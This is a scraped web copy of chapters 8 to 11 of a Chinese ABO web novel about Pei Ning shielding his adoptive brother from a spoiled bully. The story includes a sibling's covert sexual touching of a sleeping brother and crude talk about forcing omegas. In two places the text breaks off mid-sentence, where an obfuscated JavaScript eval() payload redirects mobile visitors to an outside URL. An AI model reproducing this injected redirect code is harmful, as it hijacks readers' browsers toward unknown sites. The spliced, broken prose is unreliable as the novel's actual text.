“监控就在门口,你们确定要在这里拦人?”裴宁露出了一个笑,“还有,我建议邱少爷在决定‘收拾’我之前最好把情况弄弄清楚,我叫裴宁,裴家的裴,安宁的宁,你如果真能收拾我的话,那就去吧。” 他说完,拉着裴亦舟头也不回的走了。 邱方明的怒气被一盆冷水从头浇下,登时冷静了不少。 身边人看着裴宁远去的背影,小声问:“裴......宁江有几个姓裴的家族啊。” 邱方明咬牙,“能有几个,不就是那个裴家吗?” “但我也没听过裴家有这么一号人啊,是不是装的啊。” 邱方明没想到这么简单一件事竟然能弄出这么一串后续,他不想在跟班面前被下面子,当即拿出手机打了大哥的电话。 邱渐接电话很快,语气不耐:“现在才开学多久,你不要告诉我又出事了。” “没,我就是有个人想问你打听一下。”邱方明在大哥面前不敢造次。 “你说。” “呃,叫裴宁,听名字好像是裴家的。” “哪个宁?” “安宁的宁。” “有消息了告诉你。”邱渐说完挂了电话。 邱方明回去之后等了又等,还是没收到大哥的消息,他心里做了许多假设,总觉得那裴宁不过是装腔作势。 对!一定是这样。 就在邱方明肯定这种猜测的时候,电话响了。 那头的邱渐声音严肃,问他:“你今天问我这个裴宁,你得罪他了?” “得罪,算不上吧,有点小过节。”邱方明含糊道。 “我不管你在学校里做什么,你给我离他远一点,不要得罪他,如果非要接触,你给我把你那少爷架子收起来。” 邱方明这下下巴都快掉地上了:“哥,不至于吧,不就是裴家吗?” “如果只是宁江裴家那就算了,但你知道这个裴宁他alpha父亲是谁吗?”邱渐实在头痛,直接给邱方明报了个名字。 邱方明不可置信地打开电脑,在搜索框上输入了那三个字。 跳出来的结果让他直接一屁股坐倒在地上。 “方明,看到了吧。人家离开宁江去了枫京,现在已经是大人物了,就算是宁江这边的裴家也要把他当做座上宾。” “听话,这个人你得罪不起。邱家也得罪不起。” 8. 菜就多练 吃完饭回到家裴宁有些饱过头了。 大概是散场的时候看到邱方明吃瘪的样子太解气,裴宁晚上胃口都好上不少,最后把裴亦舟点的一桌菜吃了个七七八八。 这就导致他现在坐在沙发上有些撑,不得不站起来在屋里散步消食。 裴亦舟还坐在桌前看电脑,他看着跟小动物一样晃荡的裴宁不由笑着问:“这么饱啊。” “下次绝对不能吃这么多了,哥你要监督我。”裴宁摸了摸自己的肚子,“不然我的腹肌就要消失了,好不容易练出来的。” 裴亦舟滑动鼠标的手一顿,藏在镜片下的神色轻动。 “小宁什么时候练的腹肌,我怎么不知道?”裴亦舟状似不经意问。 裴宁仰头想了一下:“就是这个暑假,你不在家,旅游完回来我一个人也无聊,索性就把时间用来锻炼了。” 这样么,裴亦舟脑内的画面仍接连不断。 他好像已经很久没有见过裴宁赤裸的腰了。 上一次还是很久之前,那时候裴宁还在读高中,身上的少年气没褪去,腰又白又细,带着韧劲,给人一种说不出的力量感。 裴宁是个闲不住的性格,他喜欢运动,也热衷于和人交往。高中那三年他一直是校篮球队的主力,不单单是玩,后头也打出过成绩,在学校里也算是声名赫赫。 裴宁的比赛裴亦舟也去看过,如果要说印象最深刻的地方,大概是裴宁的三分球投的很漂亮。 那会儿是夏天,裴亦舟刚上大学没多久,手头一堆亟待处理的事情,但他一听闻裴宁要比赛,就匆匆从宁江赶了回去。 场馆里人山人海的,裴亦舟站在人潮之外,只远远看见裴宁从原地跃起,小腿肌肉发力时线条流畅优美,高伸的手臂带动身上的无袖运动服上扬,最后露出一截白的惊人的腰。 只用一秒,裴亦舟就将那画面清晰记住。 而下一秒,场上人头耸动,响起了巨大的欢呼声。 裴宁进球了。他站的位置甚至离三分线还有些距离。被队友围在中央的裴宁意气飞扬,汗水从额角划下,像是宝石一样晶莹。 这一球最后定下了一中的胜局,队友都在庆祝,但裴宁撩起前额的头发后就开始仰头寻找裴亦舟的身影。他身上似乎自带名为哥哥的雷达,三秒钟就找到了人,他眉眼明媚,朝看台招了招手。 “能看看吗?”所以,几乎是不加思考的,裴亦舟下意识脱口而出。 其实这句话多少有些过界了,裴亦舟一说出口就想收回。 他应该要做一个好哥哥的,那些不能拿到台面上的心思,他就应该妥善收好。 但没一会儿,一道人影却遮住了他面前的光。 裴宁一脸单纯地站在裴亦舟身前,直接伸手拉起了短袖的衣摆用下巴夹住,他低头,像是在寻找自己的腹肌,随后腰腹用力,绷出了一些线条。 “喏,你看,现在是不是不太明显了,”裴宁碎碎念,“不吃东西的时候可明显了,下次你再比较一下。” 裴宁的话裴亦舟听不太清,他只觉得血都热了。 裴宁的腰此时此刻正不加掩饰地出现在他身前,肌肉线条清晰,每一处都透着青春的活力。他说话的时候腹部会有起伏,白皙的皮肤包裹着内里小幅度移动,隐隐还能看见一些青色的血管。 裴亦舟猛然移开目光,伸手帮裴宁翻下衣服。 “穿好,小心着凉了。”他不动声色,似乎真的是一个心无杂念的好哥哥。 裴宁依言穿好衣服:“哥哥,你看见今天那个alpha了吧,是不是总有这样的人会来打扰你啊,你以后都不要理会,实在不好办直接把爸爸搬出来算了。” “嗯,好。”裴亦舟有点走神。 好薄,好白。 如果......会不会很明显? 属于alpha的恶劣基因又开始作祟,裴亦舟只觉得犬齿有些发痒。他知道自己力气有些大,要是真的咬下去,小宁会很痛的吧。 裴宁伸手他在面前晃了晃,“哥哥?你听见我说的话了吗。” “听见了,我不理会,你别担心。”裴亦舟温声回应,自然而然地架起腿。 裴宁这下放心多了,又问:“今天我听乐团的负责老师说了小乐团,你以前也是那里的吗?” 裴亦舟的乐器是和裴宁一起学的,虽说老师不是林夏,但也是国内叫得出名字的大牛。裴亦舟不像裴宁,除了主要学习的钢琴之外还喜欢摸摸这个,看看那个,他只学小提琴。 裴亦舟这人性格如此,他认定的东西绝不轻易改变,开始如此,结束亦然。 “是啊,只不过后来公司事情太多,我就退出了。”裴亦舟说完,话锋一转,“不过今年小乐团的老师给我发了消息,让我去选拔现场当评委,如果有空的话我大概会去。” 裴宁在桌边坐下,他拄着脸看裴亦舟:“那我肯定要加入,你都当评委了,我得好好展示一下。” 裴亦舟微笑点头,眼神在裴宁脸上长久停驻。 他早已练就了这种本事,看人,却不叫人察觉。 轻若无物的目光落下,对于需要描摹的轨迹已经无比熟稔,从眉心到鼻梁,再从嘴唇到下巴。 每一处都让他着迷非凡。 * 自从那天过后,邱方明就跟消失了似的,裴宁都没再怎么见过他。 裴宁倒也没太纠结,毕竟邱方明这种人还是少见为妙。 大学里不同专业的繁忙程度也各不相同,要是学了医......那可真是有福了。 裴宁不止一次感慨,到底是谁在大一就可以体验到堪比牛马的痛苦。 他这十几年人生至今一直算顺风顺水,当时非要报医学专业,宋月黎虽然劝了两句,但最后还是支持的。 自己选的路,那就慢慢走吧。 裴宁咬咬牙,放下午餐,披上实验服拿起书本又进了实验室,直到傍晚出门才想起来今天要去参加小乐团选拔。 他到的时候乐团场馆已经人满为患,这里头除了来参加考核的,还有许多亲友团。 裴宁一进门就听见了惊呼声,他顺着人潮往里走,却不知道自己这张脸在校园墙上已经出现了很多次。 “他就是裴宁吗,真的好帅啊!” “对吧对吧,我上次看见照片就觉得真人肯定更帅。” “他是alpha吗?” “不知道诶,管他呢,我先欣赏一下这张脸再说。” 对此一无所知的裴宁进了场馆,老远就看见裴亦舟坐在评委席上,正严肃的看着眼前的演奏者。 那个同学裴宁也认识,叫孟平安,是个beta,擅长的乐器是萨克斯。他虽然演奏水平不算特别顶尖,但平时训练总是一板一眼的,格外认真。 尽管十分紧张,但孟平安还是顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从第一个音落下开始,场馆内的人群就自动消了音。 裴宁的手在钢琴之上飞舞,根本没人看得清他的手指落在哪一琴键上,他们只能听见越来越紧凑密集的琴音,高低起伏,跌宕不休。 这完全就是一场炫技。 几乎没有太多情感的因素,只单单是裴宁展现的技巧,就足以让所有人惊诧不已。 这首来自夏斯特的《荒火》一直以来都被认为是世界十大高难度钢琴曲之一,能够完整展现并流畅完成他的人可以说是寥寥无几,而现在,在这个场馆里,裴宁完成了一场完美的演奏。 结果是无需多言的,他才弹奏到一半,乐团的老师就开始上网搜索他的名字。 等到表演结束,老师还专门过来同他握了手。 “没想到裴同学竟然是林夏的学生,我以前也曾听过她的演奏,那是我所见过最优美、感情最充沛的表演,不知道以后你能不能顺道帮我要一个签名。” 老师说的坦然,裴宁自然也笑着应下。 等他再见目光落到台下的时候,属于邱方明和他跟班的那一块区域早已人去楼空。 裴宁撇了撇嘴,用只有自己听得见的声音开了嘲讽: “菜就多练。” 9. 装吧 邱方明这时候离开也算是一种示弱,裴宁知道他肯定回去查了自己身份,否则不会像现在这样主动退避。 但他并不觉得邱方明会就此收手,毕竟在《绝对占有》的剧情里,邱方明堪称前期第一狗皮膏药。虽说不是威胁最大的,但绝对是最难甩掉的。 这人没有看起来那么容易认怂,相反,内心还是个偏执狂,对看上的东西绝不轻易松手。 哪怕他会因为自己的身份暂时示弱,但绝不会放弃在背地里出阴招的机会。 裴宁记得按照原本的剧情顺序,邱方明接下来会在学校里疯狂堵裴亦舟,以此来示爱。但裴亦舟全当看不见,并且不厌其烦,直接找上了邱方明的辅导员。 这之后邱方明反倒换了策略,明的不行,他就来阴的。 他买通了宁江大学其中一个校园墙的皮下,并雇人对裴亦舟进行了偷拍和跟踪,然后用一些子虚乌有的图片和含糊其辞的言语,在校园墙上造裴亦舟的黄谣。 对于仍旧身处校园的人来说,大部分来自校园内部的伤害才是最致命的,更何况裴亦舟也算是校园里的风云人物,在这些讯息发出之后更是引起无数波澜。 这件事对裴亦舟本人的声誉打击不小,学院领导甚至专门和他谈了话,虽然最后裴亦舟都用事实证明了那些不过是谣言。但放出去的消息就像泼出去的水,它们只会不断蒸发扩散,越飘越远,却再也无法完好收回。 这之后邱方明也没有停下追求,直到裴松墨出手才偃旗息鼓。 裴宁其实一直不大明白自己在书里为什么被提及的那么少,按照他的脾气,绝对不会允许哥哥被人这样欺负。他怎么也想不通,事已至此,也只好把这个问题先放了放。 选拔持续了一个多小时才彻底结束,裴亦舟在场馆里和乐团老师谈论着什么,裴宁则和其他成员一块儿去将乐器收拾起来。 乐团里有专门摆放乐器的仓库,平时也会有专人上门维修,裴宁还不太熟悉,于是跟在了越思易后头。 越思易这会儿看起来有些兴奋,裴宁抬头的时候总能对上他的目光。 “那个,学弟,有一个乐器要放到备用仓库里头,但我一个人可能搬不动,你能搭把手吗?”越思易问。 裴宁说好,帮他把剩下的箱子拿了起来。 备用仓库里乐团场馆稍微有些距离,现在人都走得差不多了,空气也渐渐恢复到安静的状态。 越思易声音热切:“今天真的好意外啊,我原来只知道你吉他弹得很好,没想到钢琴也这么厉害。” “学得早而已,”裴宁的注意力都放在了钢琴这二字上,“你很喜欢这个乐器。” 越思易闻言用力地点了点头,说:“喜欢。” 怪不得会喜欢上邱方明。 虽然那点水平在裴宁这不够看,但放在外面也勉强够得上个“还行”的标准,裴宁对邱方明那是不遗余力的刻薄。 两个人说的想的牛头不对马嘴,好不容易把乐器安置好,裴宁转身离开了仓库。 他刚出门,就听见一旁路过的人和朋友说:“你有没有闻到烤面包的气味。” “你也闻到了?我刚才老远就感觉有香味。” “这犄角旮旯哪来的烘焙店,不会是谁的信息素散出来了吧。” “闻起来好像是omega......不说了,快点走吧,我有点......那个,这可是公共场所诶,能不能讲点o德。” 那二人脚步匆匆离去,裴宁心头一紧,回过头才发现过了这么久越思易还没出来。 他纠结了一会儿,最后理智还是在交锋中占据了上风,转身回了仓库。 他闻不到信息素的气味,自然也不会受到任何影响,但嗅觉在此时不发挥作用,不代表听觉也失了灵。 裴宁一进门就听见了越发明显的呼吸声,他走过仓库柜子形成的拐角,一低头就看见越思易此刻无措地蜷缩在地上,面色有些发红。 “裴......裴宁?”越思易抬眼,看见裴宁那一刻像是看见了什么救星。 裴宁皱眉,“你这是什么情况?” “抱歉,是我,我的发情期,”越思易神色迷离,“裴宁,你能不能帮帮我,帮我一下。” 如果此时面前躺的是任何一个陌生的omega,裴宁都会毫不犹豫地帮忙,但越思易......裴宁内心实在纠结。 不知道过了多久,他伸手探进了口袋,从里面拿出了一张信息素阻隔贴。 这是他随身带着为哥哥准备的。 裴宁不想主动触碰omega,于是只是把阻隔贴递了过去,“你自己贴一下,这个有镇定作用,可以暂时延缓你的发情期。” 越思易立马接过,着急忙慌就往后脖子上贴,冰凉的阻隔贴接触到皮肤,相关药物飞快地发挥着作用,不过一会儿,越思易的情况就好了许多。 他没有再麻烦裴宁,而是自己扶着柜子站了起来。 腿软的感觉还未褪去,越思易吸了吸鼻子:“今天真的麻烦你了,要是你不在的......我都不知道该怎么办才好。” “没事,你快走吧,阻隔贴的时效有限。”裴宁摆摆手。 越思易出门的时候脚步匆匆,正好与前来寻找裴宁的裴亦舟擦肩而过,裴亦舟的嗅觉正常,自然能闻到越思易身上异样的信息素,他侧目,瞳孔在接触到越思易后颈上熟悉的卡通小猫阻隔贴时骤然收缩。 那是裴宁给他的。 现在给了别人。 裴亦舟的脸色微沉,在看见远处向他走来的裴宁时才逐渐变回正常。 不知道是出于什么原因,一见到裴亦舟,裴宁立马解释:“我和他过来放乐器,结果我一出门就听见有人说有omega发情了,所以就回去看了眼。然后我就把阻隔贴给他,但是我一点都没碰到他!” 一点都没有,简直是道德标兵! 裴宁也不知道自己为什么要倒豆子似的一下说这么详细,但这些行为几乎都是下意识的,在看见裴亦舟那一刻全部自动触发。 听了裴宁的话语,裴亦舟心情稍有好转。 但他一贯会装,会顶着那层专属的温和好哥哥外皮在裴宁面前装可怜。 “没事,我只是有点担心你。”裴亦舟垂眸,长而直的眼睫将所有情绪收敛起来,恰到好处地露出了两分失落。 裴宁哪里受得了哥哥露出沮丧的模样,多看两眼都觉得难受,胸前的玻璃吊坠因为刚才的跑动晃荡到了外边,裴宁仰起头,“哥哥你是不是不开心,没有下次了,我不给别人用。” 裴亦舟的目光落在裴宁略显着急的脸上,他压下情绪,声音温和依旧:“没有不开心,小宁你想多了。” 裴宁不信,他和裴亦舟之间几乎不会闹不愉快,因为每次裴亦舟的情绪只要有一点异常,裴宁就会一问 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他至今忘不了裴亦舟第一次发情期的惨状,每次回想起来都觉得不安定。 听见这个问题,裴亦舟眼前莫名划过了那个灯光刺眼的拳场,一支支被扯开塑料包装,随手扔到地上的抑制剂空管,被汗水打湿的床单,和偶尔会在床头堆积的止痛药。 裴亦舟笑笑,说:“不难受,没什么感觉。” 裴宁信以为真,“下次发情期你就留在家里吧,这样我也可以照顾你。好多omega发情期都要发烧的,要是只有一个人的话那多难受啊。” 两人原先并肩,但这会儿裴亦舟落后裴宁一个肩膀,他的目光沉沉洒下,将身前的人整个笼罩。 他对裴宁说的是谎话,而裴宁所说的确是他不敢轻易幻想的美好。 要是他出现在自己的易感期,那会发生什么? 裴亦舟不敢轻易打开有关这个的思绪匣子,那一切将变得不可收拾。 占有、掠夺是alpha刻在基因里的天性,裴亦舟也不例外,他还是顶级alpha,这些症状比起别人只重不轻。 那还是不要出现了吧。 裴宁的后脖子干净、洁白,不应该被那些深色的齿痕占据。 最起码现在还不可以。 裴宁被今天的事情刺激到了,迫不及待想要将那些未知的剧情把握的更牢,他一回家就跑进了卧室打开电脑,召唤远在枫京的戚栩。 【古德猫宁:77,在?】 【嘘(大学沉淀版):在,有何贵干?】 【古德猫宁:你能不能帮我查个号,我想知道他皮下的人是谁。】 裴宁把刚加上的校园墙推给了戚栩。 【嘘(大学沉淀版):不是我说,你这下南洋下的,怎么给自己搞成法制咖了。。。】 【嘘(大学沉淀版):你不是真善美代言人么,谁给你喂错药了?】 裴宁看笑了,只好跟戚栩再三保证自己绝对不会做违法的事情,他只是需要先确定一下目标人物,不然放不下心。 戚栩十分擅长这方面,裴宁知道他能搞定,好话说了一箩筐,快给戚栩捧上天了。 【古德猫宁:就一句话,你帮不帮我?】 千里之外的戚栩被裴宁吹得心头火热,一看见这强势的调调就咬了咬呀,他打字: 【帮!】 10. 啊? 戚栩动作很快,没一会儿就把裴宁要的消息全部发了过来。 对于他们这样的人而言,许多常人难以触及的信息放在他们那就是完全透明的。只要他们想,没什么是办不到的。 只不过裴戚两家作为世交,在家风方面都极为注重。虽说手里头有权利,但都不允许小辈胡作非为,更不允许他们用这些权利去做违法乱纪的事。 戚栩以前叛逆的时候还做过一两件错事,但裴宁却从没和那些沾过边。 身边的人也不敢带坏他,除非谁想被裴松墨的顶a信息素压到晕过去。 家庭环境对裴宁的影响太大,而最后的结果就是他长得比谁都直,枫京那一圈小辈里就数他和裴亦舟最懂事。 像今天这种查人老底的事裴宁还是第一次干,颇有些小孩背着家里偷摸干坏事的紧张感,刚给戚栩发完消息那会儿他手心全是汗。 【嘘(大学沉淀版):下次回枫京了记得来找我,不然你就完了[呲牙]】 【古德猫宁:[玫瑰][玫瑰]下次一定】 戚栩给的消息全面,裴宁也一下认出来了这个校园墙的皮下是谁。 徐成如,未来邱方明的狗腿子之一,而现在,他是降转来到裴宁班里的大二学长。 昨天从实验室里出来的时候裴宁还和他打了照面,那是个看起来挺老实的人。 能考进宁江大学的都是各地学习成绩最好的人,更不用说生物医学专业,更是只有极少数人才能就读。裴宁实在不明白这样的人为什么要做这么恶劣的事,要拿自己的前途去开玩笑。 要知道在原剧情里黄谣事件东窗事发,邱方明仗着家里的财力把自己摘得干干净净,而这个徐成如就没那么幸运了,最后只能被迫退学。 裴宁做好打算,准备下次专业课的时候好好观察一下这家伙。 * 大概是听了邱渐的话,邱方明最近难得安分。 只不过这安分是暂时的,他今天从其他富家子弟口中知道了裴亦舟的真实身份,于是那些原本歇了半截的心思又开始蠢蠢欲动。 “不就是个裴家不要的omega吗,那拿给邱哥你玩玩怎么了?” “就是,还以为身份多厉害呢,原来是被家里丢出去的人。就算他搭上了枫京那边又怎么样,这能比得上亲生的吗?” “你说的有道理啊,那邱哥收拾他不跟切菜一样,反正omega生来就是要给alpha艹的啊哈哈哈哈。” 会所包厢里污言秽语四起,邱方明坐在中央,手中酒杯轻晃,并没有要阻止的意思。 他眯了眯眼,心里两种不同的念头博弈不断。 “你们这话说的,我向来不喜欢强迫别人,”邱方明抿了一口酒,“他要是不愿意那就算了,反正漂亮的omega多的是,就是比他缺点劲头。” 旁边的人看出他情绪不对,你看我我看你,最后有一个人弯下腰凑到邱方明耳边说: “邱哥,你听说没,那个裴亦舟现在还在外头创业呢,公司搞得有模有样的,之前还撬走了几个章嘉的单子。” 邱方明闻言,喝酒的手顿在半空。 他这人花心滥情,看上过的人不计其数,而章嘉就是其中之一。 那是个普通出身的omega,能让邱方明看上,是因为他足够漂亮聪明,也足够识趣。 最后的分手是章嘉提的,邱方明当时心有不甘,后来每次和别人说起都觉得不舒服,总想找机会再把人弄回身边来。 “这事嘉嘉亲口和你说的?” “没啊,章哥哪会儿和我说这个,我就是听别人说的。章哥公司不也才起步么,这事肯定假不了。” “是啊是啊,章哥多不容易,我听说他喝老多酒才谈到一个单子,这个裴亦舟敢动手抢真是不要命了。” 听到这,邱方明心里头的天平歪了。 章嘉这人他忘不了,现在想起来还心痒痒,既然名正言顺的动机都递到手里了,他又有什么理由去拒绝。 裴宁不让碰,那绕开他收拾一下裴亦舟,这总可以了吧? 这对于向来无法无天的邱少爷,已经是天大的退步了。 反正裴亦舟也没什么身份,那个裴宁嘴上叫他一声哥哥,难道还真能把他当亲哥不成。这种大少爷最口是心非,上次阻拦他也许不过是面子工程,心里到底是什么想法,那又有谁知道呢? 裴宁让他吃瘪,他心里头虽说恨得不行,但该认怂还是得认。 现在发现了一个出气的口子,邱方明急不可耐,立马问身边的人有什么好法子。 这样的场景在过去发生了无数次,而每一次被收拾的对象到最后都会变得服服帖帖,因而根本没有人担心意外的发生。 一场另类的头脑风暴过后,邱方明在昏暗紫红的光线中露出了满意的微笑。 * 裴亦舟大学三年参加过许多比赛,每次都能取得很不错的成绩,哪怕是放在整个大学里都算是惹眼的。 后来学院里选导师,他的优先权很高,一早就选了最心怡的,现在和导师的关系也不错,时常有联系。 今早导师发了消息让他回学校一趟,裴亦舟欣然应允。 裴宁知道自己今天终于不用一个人进学校,早饭都高兴地多吃了两个玫瑰红枣馒头。 那是裴亦舟昨天晚上亲手做的,裴宁也搭了把手,不过仅限于帮哥哥系围裙。 “哥哥你厨艺怎么这么好,我以为来了这你会找阿姨来烧饭呢。”裴宁打包起剩下的塞进了包里,准备课间饿了再吃。 裴亦舟:“还是不麻烦别人了,我自己也能做好。” “可是你真的很厉害啊,好像没什么不会的东西,简直超人啊。”裴宁思考着,非要说的话,哥哥这样瘦弱的omega大概不适合太刺激暴力的运动吧。 “那肯定还有很多,不过我现在会的足够照顾你就行。”裴亦舟笑笑,把裴宁送到了实验室门口。 其实这段路对他而言绕的有些太远了,来一趟实验室再去导师的办公室,几乎要多走十几分钟,裴宁现在对校园还不大熟悉,因此没怎么觉察,裴亦舟自然也不会主动提。 能和裴宁多待一会儿这样的好事他为什么要拒绝? 裴亦舟时间观念极强,哪怕多花了十几分钟,抵达导师办公室时依然没有迟到。 陈散坐在椅子上,身上套着身浅灰色的西装,看向来人笑着说:“来啦。” 裴亦舟的导师陈散在商科颇有盛名,是个儒雅沉稳的alpha,学术水平极高。 除此之外,他的丈夫更是宁江金融界的巨鳄,因此他的眼界不是常人可以比拟的,后来遇上裴亦舟创业,陈散也提供了不少的意见。 两人关系不错,可以说是亦师亦友。 除此之外,陈散和他的丈夫是极为少见的aa情侣,旁人或许会用奇异的眼光看他们,但裴亦舟不会。 如果可以的话,他甚至想取取经。 “今天来晚了。”陈散沏了一壶茶。 裴亦舟看了眼时间:“我没迟到。” “没说你迟到,就是比平时晚了,”陈散弯腰,前倾着身子把茶杯递到了裴亦舟面前,“是不是和你喜欢那个alpha有关?” 就在陈散说话的时候,裴亦舟突然听见窗外传来了一声“咔嚓”的声响。 拍照,是谁在外面? 裴亦舟当即起身出门,外面的走廊上却空空荡荡。 “怎么了?”陈散问。 裴亦舟眉心微皱:“好像有人在拍照。” 陈散慢悠悠喝了口茶:“外面有监控,我回头查一下。现在快点回答一下我的问题,你的导师正在着急。” 搞学术问题不专心,搞学生八卦第一名。 裴亦舟神色稍顿,但还是给了肯定的答案:“嗯,送了他一下,来晚了点。” 陈散笑着点点头,裴亦舟疑惑地看过去,听见自己导师又说:“嗯嗯,接着说啊,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077740|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 这头裴亦舟喝着茶被导师八卦,而裴宁此时也没好到哪去,他正被眼前的实验弄得焦头烂额。 原本裴宁还想趁着上课观察一下徐成如,但谁能想得到,这节课徐成如来晚了好一会儿不说,课堂上的实验任务还难的要死! 裴宁这人容易较劲,特别是在学习方面,越难他越是来劲。 于是徐成如一下就被他抛到了脑后,直到下课铃声响起,实验暂时告一段落裴宁才想起来——呀,还有那么个人! 裴宁转身,却发现后面的位置已经空了,他急匆匆追出去,只看见了徐成如的背影。 裴宁拐了弯往前跑,迎面却撞上了越思易。 “裴、裴宁,你这么急干什么去?” 裴宁管不了他,只说:“有点事。” 他腿一撒就往前追,而越思易像是专程来找他的,也没离开,跟着裴宁在实验楼里搞潜伏。 徐成如像是有心事,后头两个大活人跟着他愣是一点没察觉,走到拐角尽头才停下。 裴宁连忙在墙根那刹车,越思易懵懵的,也跟着停了,挨着裴宁的后背站定。 “裴宁,你在干坏事吗?”越思易低声问。 “嘘!我这是干好事,你别说话。” 裴宁刚说完,就听见徐成如打起了电话。 这个拐角附近的教室都上了年纪,平时没什么人会用,因此鲜少有人经过,是个说话不容易被人发现的地方。 “你上次说那事现在还算数吗,你说能给我钱,能给多少?” 那事?缺钱?裴宁心里清楚自己这是跟对了。 “最好多一点,我问过omega养护中心,引产之后护理费用很高,我得让她满意吧,不然她来我学校里闹怎么办?” “邱哥,我很快就要选导师了,真不能又负面新闻。你只要多给我一点,你上次说那事我一定给你办妥。” “你信我,我这人不说大话,绝对让他知道你的厉害。” “......”裴宁沉默了。 他觉得自己见识的人还是太少,不然他为什么会想要现在就冲上去给徐成如这个傻逼一拳。 他说呢,一个好好的大学生为什么这么缺钱,以至于要不择手段地去传其他同学的黄谣。 原来是因为自己不是东西,给人omega搞怀孕了不想负责,还想不受影响无声无息解决这件事! 简直不是东西! 裴宁憋下一口气,决心要让人付出代价。 等到人都走了,一旁的越思易还没缓过劲来。 裴宁看向他,越思易立马抬手:“我什么都没听到!” “刚才太急我没问你,你来这干什么,你不是中文系的吗?” “来.....来找你。”越思易结结巴巴。 “找我?”裴宁很意外,“有什么事。” 越思易低下了头,脖子有点红:“上次的事我要谢谢你,那次要是没有你的话,我真不知道该怎么办。” 他拿出了一包饼干:“这是我自己做的,算是一点谢礼,希望你......不嫌弃。” “没事,也就顺手帮个忙。”裴宁是真没放在心上。那天那个omega不论换做是谁他都会帮,没差。 面对这包饼干裴宁倒是有些无措。他一贯会拒绝不合理的请求,莫名其妙的要求和趾高气昂的命令,但对于烘焙饼干这种偏向温和谢礼,他却说不出拒绝的话。 越思易脸红的厉害,裴宁叹了口气,最后还是收下了。 “对了,你刚才听见他对面的人是谁了吧,”裴宁突然想到,“那个邱哥就是邱方明,你看出来他不是什么好东西了吧,喜欢alpha得把眼睛擦亮点,别什么alpha都喜欢。” 裴宁捏着装饼干的塑料袋语重心长,话语间颇有种恨铁不成钢的味道。 越思易听后抬起头,像是没听懂他在说什么,发出了一个疑惑的单音节: “啊?” 11. 哥哥你好香 “嗯?”裴宁回敬以不同的疑问词。 他说的有哪里不对么,难道越思易现在已经情根深种,听不得别人说一点邱方明的不好?不至于吧。 裴宁一想到那张油腻自大的脸就浑身不适。 “你是不是误会什么了,我没——”越思易没来得及说完,上课铃声就响了起来。 一想到自己还未完成的实验,裴宁哪里还有心思和越思易在这多掰扯,他说了声再见往回赶,直到下课才在手机上看见了越思易发来的信息。 【越思易(潜在危险分子):裴宁,我想你误会了一些事情,我对邱方明没有想法,我不是那样的人。】 哪样的人? 裴宁不明白。但他更不明白的是,如果越思易真的没那么喜欢邱方明,那为什么要给裴亦舟下药。就算自己的某些举动改变了原先的剧情,难道剧情中的人还能性格大变不成。 不过话又说回来,无论如何,这还算是个不错的改变。 裴宁心情不错,咬着凉掉的哥哥爱心馒头打字: 【古德猫宁:[拇指][拇指]】 另外,他还附赠了一份高中生理课堂的公众号文章。 【古德猫宁:[文章链接:幸福omgea——从爱自己开始]】 收起手机,裴宁看了眼满满当当的课表,忿忿地啃了一口馒头。 来,读书! ...... 又听了一个讲座,做了两场实验,上了四节课。 读不动了。好累。 裴宁感觉自己有点被掏空。 昨晚和戚栩聊得太晚,今天又是早签到又是早八又是满课又是晚课,等到下课回家已经九点半了。 裴宁也没管身上脏不脏,东西往桌上一放,一头栽倒在沙发上直接睡着了。 等到裴亦舟推门进来,看见的就是一枚睡着的裴宁。 这间公寓的家具都是裴亦舟自己选的,客厅里的沙发宽敞,裴宁一米八三的个子睡在上面空间仍旧宽裕,甚至可以说是绰绰有余。 大概是实验室里冷气开得比较足,裴宁今天外头穿了一件浅蓝色的牛仔衬衫当外套,上面绣了几个动物印花,穿在身上看起来怪热闹的。这会儿他半蜷着身子,衬衫的衣角落下,带起了里头的T恤,露出了一点腰的边缘。 玄关一侧是半透明的玻璃,下面空了几公分的空隙,正对着沙发的扶手,裴亦舟稍稍弯腰就能看见裴宁的发旋。他在玄关站了一会儿,没有向往常那样叫裴宁,而是轻声走到了沙发边。 客厅中央铺了羊绒地毯,裴宁没听见一点动静,睡得无知无觉。 长久的凝视被某一次频率错乱的呼吸打断,裴亦舟伸手摘掉眼镜,直接在沙发边跪了下来。 他看得出裴宁今天是累狠了,哪怕睡着都皱着眉,像是有什么心事。 什么事会让裴宁这样烦心呢,如果可以的话,裴亦舟会想要亲自帮他解决。 他低下头,将脸贴到了裴宁的小腹上。属于青年人身体的热意阵阵往外散发,裴亦舟几乎是贪婪地在嗅闻他的气息。 裴亦舟鼻梁高挺,微凉的鼻尖轻轻抵蹭在裴宁露出的腰腹上,激开了一阵战栗。他顺着裴宁清晰的肌肉线条滑动,像是描摹擘画一般细致痴迷。 明明裴宁才是需要信息素的那一方,但此刻的裴亦舟却显得比他还渴望。如果可以,他真是一秒都不想离开。 要是裴宁分化了,那会是什么气味的? 裴亦舟的手掌缓缓贴上裴宁的后腰,将他搂得更靠近了自己一些。 那一定很好闻吧。 alpha之间的信息素排斥在裴亦舟这变得不甚重要,毕竟能用忍耐来捱过的事情在他看来都不是问题。 未知的暧昧蔓延,裴亦舟轻轻扳过裴宁,在那截侧腰上吻了吻。到底是不敢全然舍弃往日的伪装,他的动作还算克制,并没有在裴宁身上留下什么印子。 “哥哥带你回房间吧,这里睡着不舒服。”他压着嗓子轻声说。 睡梦中的裴宁像是听见了声音,于是哼哼唧唧呓语了两句当做是回音。 他这会儿睡得沉,根本没多余的心力去考虑:哥哥这么一个瘦弱的omega为什么能公主抱自己? 等到被裴亦舟放上床,裴宁下意识蜷身往被窝里躲。 